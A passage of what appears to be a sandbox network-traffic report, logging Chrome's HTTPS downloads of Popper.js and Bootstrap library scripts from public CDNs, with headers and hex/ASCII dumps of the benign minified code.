68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e Data Ascii: sole.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={in
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 Data Ascii: ,this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{p
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b Data Ascii: return o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 Data Ascii: return''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}funct
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 Data Ascii: return o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=argument

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49760	104.18.11.207	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:43:15 UTC	701	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://abbcc.appforconstruction.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://abbcc.appforconstruction.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:43:15 UTC	965	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 14:43:15 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 11/06/2024 23:22:44 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 7107b58a006d6592f9e395672332ff96 CDN-Cache: HIT CF-Cache-Status: HIT Age: 71411 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8e593616ab371869-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 14:43:15 UTC	404	IN	Data Raw: 37 62 65 65 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bee/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 Data Ascii: ne(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.define
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c 65 Data Ascii: unction(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isEle
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 74 Data Ascii: e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._dest
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e Data Ascii: p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element.
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d Data Ascii: ouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item-
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 28 Data Ascii: ),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find(
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d 2c Data Ascii: !/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f Data Ascii: (d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).remo
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 Data Ascii: ATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49762	104.18.11.207	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:43:15 UTC	661	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://abbcc.appforconstruction.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:43:15 UTC	967	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 14:43:15 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/04/2024 02:53:43 CDN-EdgeStorageId: 1029 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: d7b67eb857a539907ed9a222fd865d4e CDN-Cache: HIT CF-Cache-Status: HIT Age: 1147850 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8e593616dff342d3-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 14:43:15 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bec/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: efine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.def
